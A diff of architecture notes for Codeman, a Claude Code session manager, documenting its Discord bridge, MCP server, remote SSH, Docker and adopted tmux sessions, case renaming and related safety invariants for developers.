post the RENDERED tmux screen (`screenTail`, with the composer row and the status lines under it cut), never the raw stream, which a full-screen UI repaints in place; `staleThreads` (default `keep`) archives or deletes threads the bot owns that no tab maps to, after boot and then daily, never one under an hour old, never with an empty map and at most 25 per run. Inbound replies are typed through `session.writeViaMux`. ⚠️ Guards that live in code and tests pin: only `allowedUserIds`, in `guildId`, inside a thread the bridge created, are acted on, everything else is dropped unread; a reply is one printable line plus Enter (a lone digit while a permission or question is pending goes as the key alone, since the dialog acts on it), capped and rate limited, and `discord-notify` is a per-session token bucket (6 a minute, 429 `RATE_LIMITED`; `fileProblem` probes the folder with the bounded probe first); posts send `allowed_mentions` limited to the allowlisted ids; received files go only from Discord's own HTTPS hosts (max 5 x 8 MB, names reduced to `[A-Za-z0-9._-]`) into `<tab folder>/.codeman-discord/`, and a sent file's REAL path must lie inside the tab's folder (`fileProblem`, symlinks followed); a Discord failure never reaches a session; the alert tail is a function the bridge calls only once it will post (no tmux exec per event while off); a delete reaches the bridge from the cleanup path with `killMux` true, never from `session:deleted`, which a detach also fires; `.codeman-discord/` is probed with the bounded probe, refused if a symlink, and ignores itself with a `.gitignore` of `*`; a config restore of `discord.json` reloads the running bridge (`afterRestore`). The startup hint ("how to reach the user") rides the CLI registry as the engine value `appendSystemPrompt` (Claude's `--append-system-prompt`, undefined unless the bridge and `startupHint` are on, so every other launch is byte-identical) No other CLI is told. `codeman notify "<message>" [--urgent] [--file <path>]` wraps `POST /api/sessions/:id/discord-notify`, which accepts a unique 8-character id prefix (a Docker case exports it cut). → `docs/discord-bridge.md`, `docs/wiki/Discord-Bridge.md`, `docs/api-reference.md`
+
 **MCP server (`codeman mcp`, `src/mcp-server.ts`)**: a Model Context Protocol server on stdio for any MCP client, a CLIENT of the HTTP API like `codeman agent` (reuses its `httpRequest`, `inputRefusal`, `buildSendBody`; the MCP server adds no routes). Seven tools: `list_sessions`, `start_session`, `send_prompt`, `wait_for_session`, `read_output`, `interrupt_session`, `delete_session`. ⚠️ Dual-era: answers the legacy `initialize` handshake (2024-11-05 to 2025-11-25) AND the 2026-07-28 revision (per-request `_meta` with `protocolVersion` + `clientCapabilities`, `server/discover`, `resultType: "complete"` on every modern result); a modern `tools/list`/`server/discover` MUST carry `ttlMs` + `cacheScope` (Claude Code 2.1.296 drops every tool without them: measured). ⚠️ stdout is protocol only; logs go to stderr. ⚠️ The URL comes from `--url`/`CODEMAN_API_URL`, never a guess, and unconfigured it still lists tools (registries introspect) while every call answers how to configure it. ⚠️ Prompt/interrupt/delete only sessions the PROCESS started (in-memory allowlist, so a restart fails closed) or, inside a pane, the calling session's own children, unless `--allow-any-session`; never its own session. ⚠️ `read_output` returns text ONLY, no `structuredContent` (a client that prefers it showed the model metadata instead of the output: measured). Waits default 45 s (Codex's MCP tool timeout is 60 s). Registry manifest `config/mcp-registry/server.json` (`mcpName` in package.json, version kept by `scripts/sync-plugin.mjs`). Tests: `test/mcp-server.test.ts`.
 
 **Agent-created case marker** (`src/agent-case-marker.ts`): a case dir that `POST /api/quick-start` CREATES for an agent-driven spawn (signal: the preamble's `X-Codeman-Agent-Origin` header / `agentOrigin` field, else a resolved `parentSessionId`) gets `.codeman-agent-case.json`, published as `agentCreated` on `GET /api/cases`; `GET /api/cases/agent-created` is the cleanup listing (`inUse`, `modifiedAt`) behind Add Case → Manage. ⚠️ Only the branch that CREATES the directory may write it: never label a linked case, cloned repo or pre-existing path (it drives a recursive delete). ⚠️ Reading is total: anything but a well-formed v1 marker reads as not agent-created. ⚠️ Removal stays on `DELETE /api/cases/:name` (the ONE recursive-delete path), and the sweep excludes `inUse` cases. ⚠️ Changing the preamble's headers requires bumping `CODEMAN_PREAMBLE`. → [architecture-invariants#agent-created-case-marker](docs/architecture-invariants.md#agent-created-case-marker)
@@ -167,12 +169,14 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 
 **Cron (`CronJob`s)**: saved, named jobs on a recurring schedule (`once`/`interval`/`daily`/`weekly`) with per-job run history. ⚠️ **Distinct from the legacy `ScheduledRun`** (`/api/scheduled`, a run-now duration-bounded loop); the two never interact and keep separate `Scheduled*` / `Cron*` names. `CronService` **reuses the existing session layer** rather than rebuilding tmux logic. Next-run math is pure and unit-tested in `cron-time.ts` (server-local timezone). The schedule is advanced BEFORE launch so a slow launch cannot re-trigger. → [architecture-invariants#cron-jobs](docs/architecture-invariants.md#cron-jobs), `docs/cron-discovery.md`
 
-**Remote sessions + remote SSH cases**: a case can point at a remote host. The agent runs in a durable remote `tmux -L codeman-remote`, fronted by a LOCAL tmux pane running `ssh`. Attached (`owned:false`) sessions **detach, never kill**; owned ones propagate `kill-session`. Auto-reconnect (`remoteAutoReconnect`, default ON) revives ONLY when `remoteTmuxSessionAlive()` proves the remote session alive. ⚠️ Classify that probe by EXIT STATUS (`classifyRemoteAliveExit`), never stdout. ⚠️ **Command-injection surface: every ssh command line must flow through `buildSshConnectionArgs()`**; never hand-build one. ⚠️ Remote file reads (`src/remote-files.ts`, attachment routes too) take browser paths only as `shellescape`d tokens, resolve symlinks fail-closed, cap on the REMOTE size, never copy to local disk, are bounded by `src/remote-ssh-limiter.ts`, and pick the host from the SESSION, never the path; no writes over ssh (the `PUT` guard must precede local path validation). ⚠️ Route remote cases through `POST /api/quick-start`, not `POST /api/sessions`. → [architecture-invariants#remote-sessions-over-ssh](docs/architecture-invariants.md#remote-sessions-over-ssh), [#remote-ssh-cases](docs/architecture-invariants.md#remote-ssh-cases), `docs/remote-sessions.md`
+**Remote sessions + remote SSH cases**: a case can point at a remote host. The agent runs in a durable remote `tmux -L codeman-remote`, fronted by a LOCAL tmux pane running `ssh`. Attached (`owned:false`) sessions **detach, never kill**; owned ones propagate `kill-session`. Auto-reconnect (`remoteAutoReconnect`, default ON) revives ONLY when `remoteTmuxSessionAlive()` proves the remote session alive. ⚠️ Classify that probe by EXIT STATUS (`classifyRemoteAliveExit`), never stdout. ⚠️ **Command-injection surface: every ssh command line must flow through `buildSshConnectionArgs()`**; never hand-build one. ⚠️ Remote file reads (`src/remote-files.ts`, attachment routes too) take browser paths only as `shellescape`d tokens, resolve symlinks fail-closed, cap on the REMOTE size, never copy to local disk (the one exception: the Edit history store keeps the diffs read from a remote session's transcripts), are bounded by `src/remote-ssh-limiter.ts`, and pick the host from the SESSION, never the path; no writes over ssh (the `PUT` guard must precede local path validation). ⚠️ Route remote cases through `POST /api/quick-start`, not `POST /api/sessions`. → [architecture-invariants#remote-sessions-over-ssh](docs/architecture-invariants.md#remote-sessions-over-ssh), [#remote-ssh-cases](docs/architecture-invariants.md#remote-ssh-cases), `docs/remote-sessions.md`
 
 **Wake-on-LAN (`remote-wake.ts`)**: optional `RemoteHost.wakeMac` (magic packet) or `RemoteHost.wakeCommand` (single executable, no shell, takes precedence) lets HTTP input, `POST /api/sessions/:id/wake` and the user's create/attach (`ensureHostAwake`) wake a sleeping host. ⚠️ Only an explicit user request may wake: never give the registry to the auto-reconnect watcher, `handleRemoteSessionDropped`, boot recovery or `cron-service.ts`, and `GET /api/sessions/:id/reachability` must never wake. ⚠️ Detection is a throttled bare TCP probe; never add `ServerAliveInterval`, and a `jumpHost`/`socksProxy`/`ProxyCommand` host is reachability-UNKNOWN (`isProbeable()`): never buffer, gate or banner on it. ⚠️ In multi-user mode a non-admin attach 403s BEFORE host lookup. ⚠️ WS keystrokes bypass the registry, so the banner (`host-wake-ui.js`) must not promise queued input. Waiting requests use the 40 s `REMOTE_WAKE_REQUEST_READY_TIMEOUT_MS`. → [architecture-invariants#remote-ssh-cases](docs/architecture-invariants.md#remote-ssh-cases)
 
 **Docker cases**: a case can point at a **container** running any CLI mode inside it, a **LOCATION OVERLAY on cases, never a `SessionMode`**. One long-lived container **per case**, shared by its sessions: killing a session kills only its in-container tmux, **never** `docker stop` while siblings remain. The workspace is bind-mounted at the **same absolute path**. Credentials are **seeded**, never shared RW. **NEVER a create-time `-e` for secrets, NEVER `--privileged`, NEVER the docker socket.** A drifted config (label hash) REFUSES the launch. ⚠️ An **adopted** container (`DockerCase.owned === false`) is only `exec`ed into: never create, start, stop, restart, remove, `docker commit` or `docker pause` it; fail closed. Test `owned === false`, never truthiness. ⚠️ Apply `owned` AFTER `dockerConfigHash`. ⚠️ Run modes come from the CONTAINER (`availableModes`), and a failed probe is normal for an OWNED case. ⚠️ Root exec user drops the bypass flag via the registry's `overlays.docker.rootCommand`, never a branch. ⚠️ Adoption is admin-only in multi-user mode. ⚠️ Loopback prod needs `CODEMAN_DOCKER_BRIDGE_HOOKS=1` for in-container hooks. → [architecture-invariants#docker-cases](docs/architecture-invariants.md#docker-cases), `docs/docker-cases.md`
 
+**Adopted tmux sessions** (`src/foreign-tmux.ts` pure, `foreign-tmux-discovery.ts`, `foreign-sessions.js`, `POST /api/sessions/adopt`, admin-only in multi-user mode): a tmux session a human started (local, in a container, over ssh) opens as a tab through a wrapper session on OUR socket, a LOCATION OVERLAY like remote and Docker, never a `SessionMode`. ⚠️ `session.remote` and `session.docker` are undefined on one (the connection is on `adopt.*`) and its `workingDir` is the neutral `/tmp`, so anything that treats `workingDir` as the session's workspace, or branches on remote or docker to mean "not here", must also test `session.isAdopted`. The file surfaces are the one standing exception (owner decision 2026-11-06, no privilege gain): the Files panel, File Viewer, `html-view` and absolute-path links still use this host's `/tmp` and paths, even on a container or ssh tab. Gating them for remote and Docker adoptions is the planned follow-up, so do not copy the exception to a new surface. ⚠️ `isAdopted` asks who launched the process, so it is never folded into `isExternalCliMode()`. ⚠️ `foreignTargetKey()` is the ONE identity of a target; a socket and a name collide across containers and hosts. ⚠️ Never set anything on the foreign server beyond our own `codeman-view-*`: no `window-size`, no key tables. ⚠️ The wrapper's pane IS the owner's pane, so nothing may be typed into it on start (`startShell()`'s `clear\n` submitted a half-typed command, and `shell` is also the answer for vim or psql). ⚠️ Session names are someone else's text: they pass the allowlist at discovery, so a browser only ever sends an opaque id, and a name `new-session -t` reads as target syntax (`TMUX_TARGET_SYNTAX`) is refused there too, or the `has-session` guard passes and the join lands elsewhere. ⚠️ A stopped tmux server holds our stdout pipe open past its client, so the probe pings each server with stdout at `/dev/null` first and `runForeignProbe()` lets go of the pipe at the deadline; never give `list-panes` the real stdout unpinged. ⚠️ The attach line reaches `bash -c` single-quoted through `bashCArg()` at both launch sites, like a remote or docker launch, never a bare `JSON.stringify()`, or the ssh attach's `$HOME` and `$PATH` expand on this host. → [architecture-invariants#adopted-foreign-tmux-sessions](docs/architecture-invariants.md#adopted-foreign-tmux-sessions), `docs/api-reference.md`
+
 **Docker Compose deployment** (`docker/`): Codeman runs in a container and spawns Docker cases as **SIBLING** containers via the host socket, never nested. `resolveDockerDaemonMountSource()` maps HOME bind sources into the daemon's namespace (`CODEMAN_DOCKER_HOST_HOME`); `CODEMAN_CASES_PATH` makes workspaces resolve to the same absolute path on both sides. ⚠️ `CODEMAN_CASES_PATH` must move every consumer: resolve it only via `config/cases-dir.ts`. ⚠️ `.dockerignore` matches whole paths: keep `**/.env` or `docker/.env` secrets ship in the image. ⚠️ Long-form binds create missing sources ROOT-OWNED: `Start-Codeman.sh` pre-creates them, and `docker/entrypoint.sh` (root, `cap_add: [CHOWN, DAC_OVERRIDE, KILL, SETGID, SETUID]` against `cap_drop: ALL`, `KILL` for tini; pinned by the test) fixes ownership then drops to `PUID:PGID` via `setpriv`, never re-owning foreign dirs. ⚠️ Append `/opt/codeman-cli` and `~/.local/bin` to `PATH`, never prepend. ⚠️ `server.Dockerfile`, the compose file and `.env.example` feed the self-updater's environment gate (`docs/docker-self-update.md`). → [architecture-invariants#docker-compose-deployment](docs/architecture-invariants.md#docker-compose-deployment), `docs/docker-compose.md`
 
 **CLI registry** (`src/config/cli-registry/`): every run mode is a `CliEntry` (discovery, launch argv template, env handling, `capabilities`, and the `overlays` behind remote/docker pane commands). **No code outside `stock.ts` may branch on a CLI id**: use a capability field or a NAMED PROFILE (`profiles.ts`); `test/cli-registry-no-id-branching.test.ts` and `test/frontend-cli-no-id-branching.test.ts` enforce it. ⚠️ Config holds typed argv tokens, never shell text; literals are validated at LOAD time and a bad one rejects the whole entry. ⚠️ Keep `external`, `hooks` and `altScreen` independent; never derive one from another. ⚠️ Config regexes (`discovery.version.regex`, `capabilities.workDetect.workingLine`, `capabilities.workDetect.watchingLine`, `capabilities.workDetect.awaitingLine`, `capabilities.workDetect.blockedLine`, `capabilities.workDetect.composerFooterLine`, `capabilities.workDetect.composerPopupLine`, `capabilities.modelDetect.screenLine`) must compile through `compileVersionRegex()`. ⚠️ `privilegedParams[].param` names a LAUNCH PARAM, not the legacy `<Mode>Config` field (bridged only by `launch.legacyConfigAliases`); a wrong name silently clamps nothing. ⚠️ Resolve the registry AT CALL TIME, never in a module-level const. ⚠️ Remote claude/omp arms of `buildRemoteLaunchCommand` are not covered by the pane-command golden. `~/.codeman/clis.json` overrides entries. It is WRITTEN only by the opt-in CLI management routes (`cliManagementEnabled`, default OFF; `/api/clis`, `cli-registry-routes.ts`), and only through `mutateRegistryFile()` in `registry-writer.ts` (the one exception: a config-backup restore of `clis.json`, which then calls `reloadCliRegistry()`), which serializes mutations and refuses (409) a file that does not parse or has group/world permission bits rather than overwriting it. Importing the registry still writes nothing. → [architecture-invariants#cli-registry](docs/architecture-invariants.md#cli-registry), `docs/cli-registry.md`
@@ -181,15 +185,15 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 
 **DeepSeek web UI** (`POST`/`GET`/`DELETE /api/deepseek/web`, `deepseek-web-server.ts`): the Run menu's "DeepSeek web UI..." entry supervises ONE background `dsh web` child process, deliberately **NOT a shell session**. ⚠️ Every piece is load-bearing: exactly one server (a second click REUSES it), restarted when the browser authority changes (`--trusted-host`, last asker wins), killed on shutdown via `stopDeepSeekWeb()` (the detached child would otherwise outlive Codeman and hold its port), and failures returned to the caller. ⚠️ Never hardcode the port: search from 3080 across 40, detect free ports by BINDING, then wait for the server to really answer. ⚠️ Both `POST` and `DELETE` must stay behind `canUsernameRunPrivilegedCommands` (booting a profile runs its plugin code; the server is shared). → [architecture-invariants#deepseek-web-ui](docs/architecture-invariants.md#deepseek-web-ui)
 
-**Case rename** (`POST /api/cases/:name/rename`, `src/case-rename.ts`; `docs/wiki/Core-Concepts.md#case`): a case under the cases dir is its folder name and always moves; a linked case renames its alias and moves its real folder only with `renameFolder`; remote and Docker cases are refused. ⚠️ A folder that sessions have open is the hazard: live sessions at or under it make the route answer `409 requiresStop` with their names, and only `stopSessions: true` ends them (via `ctx.cleanupSession`: closed like a tab close, uploads included, nothing is restarted); the free-target pre-check runs before that and refuses a dangling symlink too (`lstat`, as `moveCaseFolder` does), so no session is ended for a move that cannot happen. `withCaseLock` holds the old and new paths for the whole operation (`isCasePathLocked`; the `Session` constructor throws for a working directory inside a held path, so nothing is constructed mid-move). ⚠️ A create awaits the owner's layout lock and a settings read between `new Session` and the server's map, where the rename looks for open sessions, so the constructor also records the session (`noteCaseSessionStarting`) until `registerSessionWithLayout()` or `stop()` settles it (30 s TTL for one that never registers), and a folder move refuses `409` with `renameCode: "BUSY"` while one is recorded at or under the folder (`isCaseSessionStarting`, checked in the same tick that takes the lock); an alias-only rename is not refused. A create whose path was validated before the move but whose `Session` is constructed after it is not covered (the plain check-then-use race of any create path), `moveCaseFolder` refuses an existing target itself (POSIX `rename` would silently replace an EMPTY directory) and retries `EBUSY`/`EPERM`/`EACCES` before answering `423 LOCKED`. If the registries (`linked-cases.json`, `caseOrder`, `lastUsedCase`) fail after the move, `settings.json` and the folder are put back (a failed move-back says the folder is now at the new path), and an error after `stopSessions` carries `stoppedSessions`. Claude Code keys history by path (`claudeProjectDirName`: every non-alphanumeric becomes `-`), so `<claude config>/projects/<old>` is renamed too, or merged entry by entry, never overwriting, into one already at the new key (case delete never removes history, so an earlier case of the new name leaves one); other CLIs' history, Docker bind mounts, `git worktree` links, cron jobs' `workingDir`, Claude history of subfolder sessions and Claude Code's per-project entry in `~/.claude.json` (local-scope `mcpServers`, `allowedTools`, trust; writing another CLI's config is the opt-in MCP sync's job) are NOT migrated. The history scanner prefers the decoded project key over a transcript's `cwd` that no longer exists, so Resume follows a rename. Only an admin's rename touches the server-wide `settings.json` (`caseOrder`, `lastUsedCase`); the owner's default session group is carried across with `TabLayoutService`. `settings.json` is written before `linked-cases.json`, and both are restored if the registry write fails.
+**Case rename** (`POST /api/cases/:name/rename`, `src/case-rename.ts`; `docs/wiki/Core-Concepts.md#case`): a case under the cases dir is its folder name and always moves; a linked case renames its alias and moves its real folder only with `renameFolder`; remote and Docker cases are refused. ⚠️ A folder that sessions have open is the hazard: live sessions at or under it make the route answer `409 requiresStop` with their names, and only `stopSessions: true` ends them (via `ctx.cleanupSession`: closed like a tab close, uploads included, nothing is restarted); the free-target pre-check runs before that and refuses a dangling symlink too (`lstat`, as `moveCaseFolder` does), so no session is ended for a move that cannot happen. `withCaseLock` holds the old and new paths for the whole operation (`isCasePathLocked`; the `Session` constructor throws for a working directory inside a held path, so nothing is constructed mid-move). ⚠️ A create awaits the owner's layout lock and a settings read between `new Session` and the server's map, where the rename looks for open sessions, so the constructor also records the session (`noteCaseSessionStarting`) until `registerSessionWithLayout()` or `stop()` settles it (30 s TTL for one that never registers), and a folder move refuses `409` with `renameCode: "BUSY"` while one is recorded at or under the folder (`isCaseSessionStarting`, checked in the same tick that takes the lock); an alias-only rename is not refused. A create whose path was validated before the move but whose `Session` is constructed after it is not covered (the plain check-then-use race of any create path), `moveCaseFolder` refuses an existing target itself (POSIX `rename` would silently replace an EMPTY directory) and retries `EBUSY`/`EPERM`/`EACCES` before answering `423 LOCKED`. If the registries (`linked-cases.json`, `caseOrder`, `lastUsedCase`) fail after the move, `settings.json` and the folder are put back (a failed move-back says the folder is now at the new path), and an error after `stopSessions` carries `stoppedSessions`. Claude Code keys history by path (`claudeProjectDirName`: every non-alphanumeric becomes `-`), so `<claude config>/projects/<old>` is renamed too, or merged entry by entry, never overwriting, into one already at the new key (case delete never removes history, so an earlier case of the new name leaves one); other CLIs' history, Docker bind mounts, `git worktree` links, cron jobs' `workingDir`, Claude history of subfolder sessions and Claude Code's per-project entry in `~/.claude.json` (local-scope `mcpServers`, `allowedTools`, trust; writing another CLI's config is the opt-in MCP sync's job) are NOT migrated. The history scanner prefers the decoded project key over a transcript's `cwd` that no longer exists, so Resume follows a rename. Only an admin's rename touches the server-wide `settings.json` (`caseOrder`, `lastUsedCase`); the owner's default session group is carried across with `TabLayoutService`. `settings.json` is written before `linked-cases.json`, so a failed or refused registry write puts `settings.json` back and leaves the registry as it was. ⚠️ Every write to `linked-cases.json` (link, unlink, rename, and a create or clone into a custom folder) goes through `mutateLinkedCases()` (`src/web/linked-cases-writer.ts`: serialized, temp file + rename, and a file that does not parse is refused, never read as `{}`; the one direct writer is config-backup restore, `restoreConfigBackup()`, which must work on such a file), and a check that must still hold when the entry is written (the name is free; for a rename, the old entry still names the folder) runs INSIDE its callback: two clones that claimed one name used to both pass a re-read made outside it and both answer success. Pinned by `test/linked-cases-writer.test.ts`, and for a rename by `test/routes/case-rename-routes.test.ts`.
 
-**Custom Model Endpoint Profiles** (opt-in, `customModelEndpointsEnabled`, SYNCED, default OFF; `docs/custom-model-endpoints.md`): points a session at a user-configured OpenAI-compatible endpoint (store `custom-model-hosts.ts`, `~/.codeman/custom-model-hosts.json`, 0600). `authStyle` is `bearer` or `api-key`, never both headers (hangs the server). The per-CLI redirect is registry data, `capabilities.customModelInjection` (`env` / `configContentEnv` / `configDir` / `unsupported`), computed by the pure `custom-model-injection.ts`; ⚠️ `configDir` writes an isolated per-session config, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config. ⚠️ Claude applies via `Session.restartCli()` (a relaunch in the existing pane, so the conversation is pinned as `resumeSessionId`), the rest one-shot at launch; retired env keys must also be `setenv -u`'d (`_pendingEnvUnsets`), since tmux env survives `respawn-pane`. ⚠️ Remote/Docker sessions are refused (400). ⚠️ Persist only KEYS (`__customModel`), never values (they carry the API key). ⚠️ Every redirectable var must be in that CLI's `privilegedEnvKeys`, and `ANTHROPIC_*` stays out of claude's `allowedPrefixes`. ⚠️ The Run-menu picker builds entries from `window.__codemanCustomModelClis` (escaped via `escapeScriptJson()`), never a hardcoded CLI id list, and launches through `run()` via a temporary `_runMode` swap, never `setRunMode()`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
+**Custom Model Endpoint Profiles** (opt-in, `customModelEndpointsEnabled`, SYNCED, default OFF; `docs/custom-model-endpoints.md`): points a session at a user-configured OpenAI-compatible endpoint (store `custom-model-hosts.ts`, `~/.codeman/custom-model-hosts.json`, 0600). `authStyle` is `bearer` or `api-key`, never both headers (hangs the server). The per-CLI redirect is registry data, `capabilities.customModelInjection` (`env` / `configContentEnv` / `configDir` / `unsupported`), computed by the pure `custom-model-injection.ts`; ⚠️ `configDir` writes an isolated per-session config, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config; the one exception is a recipe's `linkFromRealHome` (deepseek's `profiles`, `sessions`, `settings.yaml`), which symlinks those named entries back out of the real home so they survive the redirect. ⚠️ Claude applies via `Session.restartCli()` (a relaunch in the existing pane, so the conversation is pinned as `resumeSessionId`), the rest one-shot at launch; retired env keys must also be `setenv -u`'d (`_pendingEnvUnsets`), since tmux env survives `respawn-pane`. ⚠️ Remote/Docker sessions are refused (400). ⚠️ Persist only KEYS (`__customModel`), never values (they carry the API key); the one exception is `ownEnv`'s `homeEnvVar` entry, the session's OWN home path (absolute only: a `clis.json` override can name any variable there), which `setCustomModel()` puts back on clear and recovery clamps, since the selection overwrote the tmux `setenv` that held it. ⚠️ Every redirectable var must be in that CLI's `privilegedEnvKeys`, and `ANTHROPIC_*` stays out of claude's `allowedPrefixes`. ⚠️ The Run-menu picker builds entries from `window.__codemanCustomModelClis` (escaped via `escapeScriptJson()`), never a hardcoded CLI id list, and launches through `run()` via a temporary `_runMode` swap, never `setRunMode()`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
 
 ⚠️ **llama-swap endpoints** (one model at a time): the apply routes check `GET /running` and return `requiresConfirmation` before evicting a model another live session uses; `confirmedSwap` and `confirmedContext` are SEPARATE flags and must stay so. Claude alone gets a context floor (`CLAUDE_MIN_SAFE_CONTEXT_TOKENS`); context is parsed from `/running`'s `cmd`, never trusted from `/props`. The floor also divides that context by the model's parallel slot count (`modelSlotCounts`: `--parallel`/`-np` from `cmd`, else `/props` `total_slots`; `perSlotContext()`), and `/props` only ever RAISES that warning: it supplies the context only when `cmd` states none and the count only when `cmd` has no `--parallel`, never a larger pool. `/props` is probed once per launch command (it refreshes llama-swap's last-use time, so a `ttl` would never expire), and a `/props` context beside an explicit `--parallel N` is already per slot, so it is not divided again. Backend log lines come from llama-swap's `/api/events` `upstream` source, never `/logs`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
 
 **MCP server sync** (opt-in, `mcpSyncEnabled`, SYNCED, default OFF; `src/mcp-sync.ts`, `GET`/`POST /api/mcp-sync`): copies each installed, enabled CLI's user-level MCP servers into the others. It is the ONE subsystem that writes another CLI's REAL user config (`~/.claude.json`, `~/.codex/config.toml`, `~/.gemini/*`, opencode's), which is why it is opt-in and admin-only in multi-user mode (both verbs 403 for a non-admin, and the Settings group is hidden for them). Where each CLI keeps the file is registry data, `capabilities.mcpConfig` (`{ path, format, relocation? }`), never a branch on the id. ⚠️ Tools that sync but are not run modes (GitHub Copilot CLI, the first) are plain data in `MCP_SYNC_ONLY_TOOLS` (`src/mcp-sync-targets.ts`), take part only when installed or already configured, and their companion `settings.json` (`disabledMcpServers`) is read, never written; a test must clear their relocation vars too. ⚠️ ADDITIVE only: a name already defined, in any shape, is never edited or removed (a different same-name definition is a reported conflict), and a server switched off in its own CLI is never copied. ⚠️ Never write a file that did not parse; re-parse the NEW text and require every added server to read back before the tmp+rename (written through a symlink, previous file kept as `<file>.codeman-bak`, one apply at a time, else 409). ⚠️ A file that receives copied `env`/`headers` (secrets) is left `0600`, and so is the backup. ⚠️ Responses carry server NAMES only, never env values, headers or file text: a parse failure is reported by line and column (`describeMcpSyncError`), never the parser's own message (smol-toml and V8 both quote source). ⚠️ `mcpConfig.relocation` names the env var the CLI reads to move its file (`CLAUDE_CONFIG_DIR`, `CODEX_HOME`, `XDG_CONFIG_HOME`, `GEMINI_CLI_HOME`, and `COPILOT_HOME` for Copilot), resolved from the SERVER env at call time; a relative value reports the target `skipped`, never a guessed write, and a per-session `envOverrides` relocation is not followed. Tests must pass `home` (which drops the `process.env` default) or clear those vars first. → `docs/cli-registry.md` (MCP server sync), `docs/api-reference.md`, `docs/wiki/Settings-Reference.md`
 
-**Auto-named sessions** (`autoNameSessions`, SYNCED, default OFF): a placeholder tab (`w3-myapp`) takes its first real prompt as a title in the `<prefix>: <title>` form, so the case identity and `w<n>` counter survive. Ownership is `SessionState.nameSource` (`placeholder` | `auto` | `manual`; the `name` setter / `PUT /api/sessions/:id/name` makes it `manual`, never touched again). ⚠️ `applyAutoName()` flips to `auto` even if the string is unchanged, so only the FIRST titled prompt names the tab. ⚠️ Only user input counts: `SessionWriteOptions.fromUser` is set by the browser WS path, `POST /api/sessions/:id/input` and the experimental guarded stage (`stageGuardedInput()`, `POST /api/sessions/:id/stage`, typed on an agent's behalf like the input route) ONLY; any new user-input path must set it (and the send-key Shift+Enter path must call `trackUserInput()`). ⚠️ The pure tracker (`session-auto-name.ts`) sits on the raw keystroke stream with an explicit rule per key; add a rule for any new key class. ⚠️ `nameSource` also decides `--name`: by default only a `manual` name is pinned on the claude CLI (`Session.cliPinnedName`), since `--name` is also the `/resume` title and a pinned one stops Claude generating its own; the opt-in synced `pinCliSessionName` (default OFF, re-read at every spawn and respawn) pins every tab name, after which a Codeman rename holds only until the next turn; a rename appends a `custom-title` row to a LOCAL, non-docker transcript, and a same-name PUT is a no-op (never flips to `manual`). Tests: `test/session-auto-name.test.ts`. → [architecture-invariants#auto-named-sessions-first-prompt--tab-title](docs/architecture-invariants.md#auto-named-sessions-first-prompt--tab-title)
+**Auto-named sessions** (`autoNameSessions`, SYNCED, default OFF): a placeholder tab (`w3-myapp`) takes its first real prompt as a title in the `<prefix>: <title>` form, so the case identity and `w<n>` counter survive. Ownership is `SessionState.nameSource` (`placeholder` | `auto` | `manual`; the `name` setter / `PUT /api/sessions/:id/name` makes it `manual`, never touched again). ⚠️ `applyAutoName()` flips to `auto` even if the string is unchanged, so only the FIRST titled prompt names the tab. ⚠️ Only user input counts: `SessionWriteOptions.fromUser` is set by the browser WS path, `POST /api/sessions/:id/input`, the experimental guarded stage (`stageGuardedInput()`, `POST /api/sessions/:id/stage`, typed on an agent's behalf like the input route) and a Discord reply (`DiscordBridge.onGatewayMessage`, through the bridge's `sendInput`) ONLY; any new user-input path must set it (and the send-key Shift+Enter path must call `trackUserInput()`). ⚠️ The pure tracker (`session-auto-name.ts`) sits on the raw keystroke stream with an explicit rule per key; add a rule for any new key class. ⚠️ `nameSource` also decides `--name`: by default only a `manual` name is pinned on the claude CLI (`Session.cliPinnedName`), since `--name` is also the `/resume` title and a pinned one stops Claude generating its own; the opt-in synced `pinCliSessionName` (default OFF, re-read at every spawn and respawn) pins every tab name, after which a Codeman rename holds only until the next turn; a rename appends a `custom-title` row to a LOCAL, non-docker transcript, and a same-name PUT is a no-op (never flips to `manual`). Tests: `test/session-auto-name.test.ts`. → [architecture-invariants#auto-named-sessions-first-prompt--tab-title](docs/architecture-invariants.md#auto-named-sessions-first-prompt--tab-title)
 
 **Maintainer bot (external)**: the Telegram bot that reviews open PRs and triages discussion threads in Codeman sessions used to live at `scripts/pr-bot/`. It moved OUT of this repository on 2026-09-14, to `~/codeman-cases/prbot/` (its own private git repo, systemd unit `codeman-pr-bot`, guide + agent rules in its own `README.md` and `CLAUDE.md`). It is a CLIENT of Codeman's HTTP API like any other, so nothing here depends on it and it is not part of the server, the CLI or the npm package. ⚠️ It spawns real sessions named `prbot-<n>` / `dscbot-<n>` on the local Codeman and holds clones under `~/.codeman/pr-bot/`, so those session names and that data dir are taken; it also fetches PR heads into `refs/pr-bot/*` of this checkout and must never check out, reset or clean it. The CHANGELOG entries for 1.25.0 and earlier still describe it, which is history rather than drift.
 
@@ -197,7 +201,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 
 **Owner tab layouts** (`tab-layout*.ts` + `GET`/`PUT /api/tab-layout`): named tab GROUPS over the flat strip, scoped per owner (`@single` when multi-user is off), persisted as `tabLayouts` in state.json. The frontend reads AND edits it (`tab-layout-browser.js` + the grouped-rail block in app.js): the vertical rail draws the owner's groups as collapsible sections (collapse is per-device localStorage), and with no groups or a failed read the rail is the flat list. Groups are created, renamed, reordered and deleted, and rows moved between them, from the row/group menus (Shift+F10 on a header too) and by pointer drag in the grouped rail. A ref may carry `focus: true` ("Add to Focus" in the row/web-tab menu, the named `setFocus` operation): the rail then draws a SHORTCUT to it in a pinned, collapsible Focus section (`_renderTabFocus()`), its own element in `#tabRail` ABOVE `#sessionTabs`, so it shows on the flat rail too and is never a row, tree item, Alt+N slot, lineage anchor or drag target. ⚠️ Every copy of a ref (`copyRef` in tab-layout-browser.js, `parseRef`/`mapRef` in tab-layout.ts) must carry `focus` like `placement`: the browser PUTs whole layouts, so a dropped field is erased on the next save by whoever saves. ⚠️ Grouping is a render layer only: `sessionOrder`, Alt+N and every other order consumer still read the server-projected session order (Alt+[ / Alt+] and Ctrl+Tab included), except the phone swipe, which walks the drawn order like the strip's arrow keys (`nextSession({ visual: true })` through `_stripSessionOrder()`), and a grouped row's markup is the flat row's markup. 